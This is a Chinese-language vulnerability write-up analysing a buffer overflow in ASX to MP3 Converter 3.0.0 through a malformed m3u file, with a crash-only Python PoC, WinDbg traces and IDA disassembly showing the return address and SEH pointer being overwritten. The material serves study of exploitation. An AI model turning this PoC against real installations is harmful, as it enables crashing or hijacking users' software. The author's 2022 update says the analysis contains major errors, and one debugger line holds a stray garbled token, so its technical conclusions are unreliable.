Asx to MP3本地代码执行漏洞

作者:k0shl 转载请注明出处

漏洞说明


软件下载地址:
https://www.exploit-db.com/apps/b31a84e79d9941d89336b6708ef52a20-ASXtoMP3Converter_3121.exe

PoC:

poc = "\x41" * 50000

rst = open("exploit.m3u",'w')
rst.write(poc)
rst.close();

测试环境:
Asx to MP3 Converter 3.0.0
Windows xp sp3
Windbg
IDA pro

利用PoC生成一个畸形m3u文件,播放器打开文件,程序崩溃


漏洞分析


2022-10-18update:原分析文章存在较大错误,正确的分析请参考https://bbs.pediy.com/thread-274763.htm,我这篇错误的分析我作为反面教材仍然保留在下文,读者感兴趣可以通过两篇文章对比发现初学二进制时可能发生的一些误区,再次感谢大家,同时对我错误的分析表示道歉。

此漏洞存在于ASX to MP3主程序中,对打开的文件内容没有进行严格的检查,导致程序返回时指向了一个不可读的地址,从而进入SEH异常处理函数,再利用超长字符串覆盖SEH指针,达到本地执行任意代码的攻击效果,下面对此漏洞进行详细分析。
使用如下python代码生成漏洞文件

poc = "\x41" * 50000

rst = open("exploit.m3u",'w')
rst.write(poc)
rst.close();

加载POC,程序崩溃了,附加windbg,到达漏洞现场

0:010> g
(6d0.194): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00104a54 ecx=41414141 edx=00000461 esi=77c2fce0 edi=0000c350
eip=41414141 esp=000ffd34 ebp=00104674 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
41414141 jQuery21407279322387184948_1448973072999              ???

使用kb查看一下堆栈调用

0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
000ffd30 41414141 41414141 41414141 41414141 0x41414141
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\USER32.dll - 
001046bc 77d18bd9 00000001 00000000 00000000 0x41414141
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\MFC42.DLL - 
001046d0 73dc840e 001047c8 77d4048f 77d18830 USER32!GetWindowThreadProcessId+0x159
001046e4 77d1882a 77d2a013 00000000 77d3e577 MFC42!Ordinal1569+0x1e
001046e8 77d2a013 00000000 77d3e577 000d02cc USER32!GetDC+0x163
00104718 77d2a998 77d3e577 000d02cc 00000200 USER32!IsWindowUnicode+0xa1
00104738 73d3216b 77d3e577 000d02cc 00000200 USER32!CallWindowProcA+0x1b
00104758 73d31bb2 00000200 00000000 73e0f99c MFC42!Ordinal2385+0x44
00104778 73d31fd3 009a0054 00104a54 00104a54 MFC42!Ordinal6374+0x3b
001047ac 73dc82b0 00000003 00104888 000d02cc MFC42!Ordinal5163+0x411
00000000 00000000 00000000 00000000 00000000 MFC42!Ordinal3030+0x3b

发现可见的堆栈调用全是系统dll的调用,那么我们无法回溯漏洞发生前的关键函数,我们想办法从poc入手,该poc是一个文件格式的poc,那么在主程序中很有可能会通过fopen调用这个poc打开,以读取其中的文件从而触发文件格式的漏洞。
于是我们想办法通过fopen函数来定位到漏洞发生前的函数,通过ida pro打开主程序,通过字符串搜索找到fopen函数调用的几处位置

第一处
.text:0041C957                 push    offset aRb      ; "rb"
.text:0041C95C                 push    ebp             ; Filename
.text:0041C95D                 call    ds:fopen
第二处
.text:00429808                 and     ecx, 3
.text:0042980B                 push    eax             ; Filename
.text:0042980C                 rep movsb
.text:0042980E                 call    ds:fopen
第三处
.text:0042AD3C                 lea     eax, [esp+338h+Filename]
.text:0042AD43                 and     ecx, 3
.text:0042AD46                 push    eax             ; Filename
.text:0042AD47                 rep movsb
.text:0042AD49                 call    ds:fopen
第四处
.text:0043561A                 push    offset aRb      ; "rb"
.text:0043561F                 push    ebx             ; Filename
.text:00435620                 call    ds:fopen
第五处
.text:00436849                 push    offset aRb      ; "rb"
.text:0043684E                 push    eax             ; Filename
.text:0043684F                 call    ds:fopen

一共找到五处调用,在这五处fopen调用下断点,重新附加windbg调试器

0:010> bl
 0 e 0041c95d     0001 (0001)  0:**** ASX2MP3Converter+0x1c95d
 1 e 0042980e     0001 (0001)  0:**** ASX2MP3Converter+0x2980e
 2 e 0042ad49     0001 (0001)  0:**** ASX2MP3Converter+0x2ad49
 3 e 00435620     0001 (0001)  0:**** ASX2MP3Converter+0x35620
 4 e 0043684f     0001 (0001)  0:**** ASX2MP3Converter+0x3684f

运行程序加载POC,程序中断,我们直接运行程序

0:010> g
Breakpoint 0 hit
eax=00000000 ebx=00104a54 ecx=00449510 edx=000f2f3a esi=00000000 edi=004463b4
eip=0041c95d esp=000ffd2c ebp=00104674 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ASX2MP3Converter+0x1c95d:
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\MSVCRT.dll - 
0041c95d ff1524c74300    call    dword ptr [ASX2MP3Converter+0x3c724 (0043c724)] ds:0023:0043c724={MSVCRT!fopen (77c0f010)}
0:000> g
Breakpoint 4 hit
eax=000f7414 ebx=00104a54 ecx=00449510 edx=000f7414 esi=001046ad edi=004463b4
eip=0043684f esp=000f73e0 ebp=00104674 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ASX2MP3Converter+0x3684f:
0043684f ff1524c74300    call    dword ptr [ASX2MP3Converter+0x3c724 (0043c724)] ds:0023:0043c724={MSVCRT!fopen (77c0f010)}
0:000> g
(480.160): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00104a54 ecx=41414141 edx=00000461 esi=77c2fce0 edi=0000c350
eip=41414141 esp=000ffd34 ebp=00104674 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
41414141 ??              ???

可以看到,经过了两次fopen调用后到达漏洞触发现场,我们可以重新加载程序看一看当调用fopen时是否调用了漏洞文件,首先我们来看第一次fopen调用,通过上面的汇编代码我们可以看到第一次调用时,读取了参数ebp中存放的参数,也就是文件路径,我们来具体看看是不是如此

0:010> g
Breakpoint 0 hit
eax=00000000 ebx=00104a54 ecx=00449510 edx=000f2f3a esi=00000000 edi=004463b4
eip=0041c95d esp=000ffd2c ebp=00104674 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ASX2MP3Converter+0x1c95d:
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\MSVCRT.dll - 
0041c95d ff1524c74300    call    dword ptr [ASX2MP3Converter+0x3c724 (0043c724)] ds:0023:0043c724={MSVCRT!fopen (77c0f010)}
0:000> dd esp
000ffd2c  00104674 00446380 00000001 00000000
000ffd3c  009a0054 00104a54 00000000 00000000
000ffd4c  00000000 00000000 00000000 00000000
000ffd5c  00000000 00000000 00000000 00000000
000ffd6c  00000000 00000000 00000000 00000000
000ffd7c  00000000 00000000 00000000 00000000
000ffd8c  00000000 00000000 00000000 00000000
000ffd9c  00000000 00000000 00000000 00000000
0:000> dc 00104674 l30
00104674  445c3a43 6d75636f 73746e65 646e6120  C:\Documents and
00104684  74655320 676e6974 64415c73 696e696d   Settings\Admini
00104694  61727473 5c726f74 e6c3c0d7 7078655c  strator\....\exp
001046a4  74696f6c 75336d2e 00000000 00000000  loit.m3u........

查看第一个参数,00104674位置,果然这里调用了文件打开的位置,那么我们看一下第二次文件调用

0:000> g
Breakpoint 1 hit
eax=000f7414 ebx=00104a54 ecx=00449510 edx=000f7414 esi=001046ad edi=004463b4
eip=0043684f esp=000f73e0 ebp=00104674 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ASX2MP3Converter+0x3684f:
0043684f ff1524c74300    call    dword ptr [ASX2MP3Converter+0x3c724 (0043c724)] ds:0023:0043c724={MSVCRT!fopen (77c0f010)}
0:000> dd esp
000f73e0  000f7414 00446380 0041f4dc 000f7414
000f73f0  0000c350 77c2fce0 00104674 00104a54
000f7400  00000000 00104a54 00000001 00000000
000f7410  00000000 445c3a43 6d75636f 73746e65
000f7420  646e6120 74655320 676e6974 64415c73
000f7430  696e696d 61727473 5c726f74 e6c3c0d7
000f7440  4141415c 41414141 41414141 41414141
000f7450  41414141 41414141 41414141 41414141
0:000> dc 000f7414
000f7414  445c3a43 6d75636f 73746e65 646e6120  C:\Documents and
000f7424  74655320 676e6974 64415c73 696e696d   Settings\Admini
000f7434  61727473 5c726f74 e6c3c0d7 4141415c  strator\....\AAA
000f7444  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
000f7454  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
000f7464  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
000f7474  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
000f7484  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

可以看到第二次调用时已经将畸形的文件格式读入到缓冲区中,而此时没有对文件的长度进行任何检查,而是直接读入缓冲区,到达这一步之后,我们单步跟踪,先查看一下这次调用附近的代码

.text:0043684F                 call    ds:fopen
.text:00436855                 add     esp, 8
.text:00436858                 test    eax, eax
.text:0043685A                 jnz     short loc_43685D
.text:0043685C                 retn

可以看到完成这次call指令后,程序会返回到外层函数,到达后单步执行调试

0:000> p
eax=00000000 ebx=00104a54 ecx=41414141 edx=00000461 esi=77c2fce0 edi=0000c350
eip=0041f3bb esp=000ffd2c ebp=00104674 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ASX2MP3Converter+0x1f3bb:
0041f3bb c20400          ret     4
0:000> p
eax=00000000 ebx=00104a54 ecx=41414141 edx=00000461 esi=77c2fce0 edi=0000c350
eip=41414141 esp=000ffd34 ebp=00104674 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
41414141 ??              ???

当0041f3bb对应的函数执行完毕返回后,程序到达不可估计的位置,返回地址出错导致程序进入异常处理流程,而此时SEH指针已经被超长字符串覆盖,因此我们可以基本确定漏洞发生的原因,在第二次调用fopen时没有对Filname进行检查,而是直接读入缓冲区,再调用后续函数sub_41F270时,返回地址被覆盖,导致缓冲区溢出,我们来具体看一下这个问题函数,看看进入SEH前发生了什么,

0041f4dc 83c404          add     esp,4
0041f4df 85c0            test    eax,eax
0041f4e1 7560            jne     ASX2MP3Converter+0x1f543 (0041f543)
0041f4e3 8d442424        lea     eax,[esp+24h]
0041f4e7 50              push    eax

可以看到程序返回的时候执行了如上步骤,在0041f4e3位置,将esp+24存放的值交给eax,再0041f4e7将eax入栈,我们来看看eax中存放的内容

0:000> dc eax l30
000f7414  445c3a43 6d75636f 73746e65 646e6120  C:\Documents and
000f7424  74655320 676e6974 64415c73 696e696d   Settings\Admini
000f7434  61727473 5c726f74 e6c3c0d7 4141415c  strator\....\AAA
000f7444  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
000f7454  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
000f7464  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
000f7474  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
000f7484  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
000f7494  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
000f74a4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
000f74b4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

可以看到eax读取的正是0043684f处第一个参数存放的值,在函数结尾处

eax=00000000 ebx=00126392 ecx=0038f2e4 edx=00000461 esi=00000001 edi=0038cfd8
eip=0041f3a3 esp=000f73f0 ebp=00000000 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ASX2MP3Converter+0x1f3a3:
0041f3a3 8b8c2430890000  mov     ecx,dword ptr [esp+8930h] ss:0023:000ffd20=41414141

这里将esp+8930处的值交给ecx,再看看后面的代码

0041f3a3 8b8c2430890000  mov     ecx,dword ptr [esp+8930h] ss:0023:000ffd20=41414141
0041f3aa 5f              pop     edi
0041f3ab 5e              pop     esi
0041f3ac 5d              pop     ebp
0041f3ad 5b              pop     ebx
0041f3ae 64890d00000000  mov     dword ptr fs:[0],ecx
0041f3b5 81c42c890000    add     esp,892Ch
0041f3bb c20400          ret     4

执行完毕后将几个寄存器出栈,在0041f3ae部分调用了一个mov指令,将ecx的值交出,在0041f3b5处将esp偏移增加892c,我们跟到此处

0:000> p
eax=00000000 ebx=00104a54 ecx=41414141 edx=00000461 esi=77c2fce0 edi=0000c350
eip=0041f3b5 esp=000f7400 ebp=00104674 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ASX2MP3Converter+0x1f3b5:
0041f3b5 81c42c890000    add     esp,892Ch
0:000> dc esp
000f7400  0038cfd8 00104a54 00000001 02610054  ..8.TJ......T.a.
000f7410  00000000 00000000 00000000 00000000  ................
000f7420  00000000 00000000 00000000 00000000  ................
000f7430  00000000 00000000 00000000 00000000  ................
000f7440  00000000 00000000 00000000 00000000  ................
000f7450  00000000 00000000 00000000 00000000  ................
000f7460  00000000 00000000 00000000 00000000  ................
000f7470  00000000 00000000 00000000 00000000  ................
0:000> p
eax=00000000 ebx=00104a54 ecx=41414141 edx=00000461 esi=77c2fce0 edi=0000c350
eip=0041f3bb esp=000ffd2c ebp=00104674 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ASX2MP3Converter+0x1f3bb:
0041f3bb c20400          ret     4
0:000> dc esp
000ffd2c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
000ffd3c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
000ffd4c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
000ffd5c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
000ffd6c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
000ffd7c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
000ffd8c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

可以看到执行完之后esp的值已经被超长字符串覆盖了,当ret 4时返回esp的位置就已经是41414141这个不可读的地址了。
因此,此漏洞流程可以总结为:由于对于filename的长度检查不严格,导致直接作为参数回调到外层函数中,因此当外层函数结束时,程序返回到一个不可读的地址,从而触发了异常处理流程,因为文件畸形内容,导致了SEH指针被覆盖,程序可控。

Comments
Write a Comment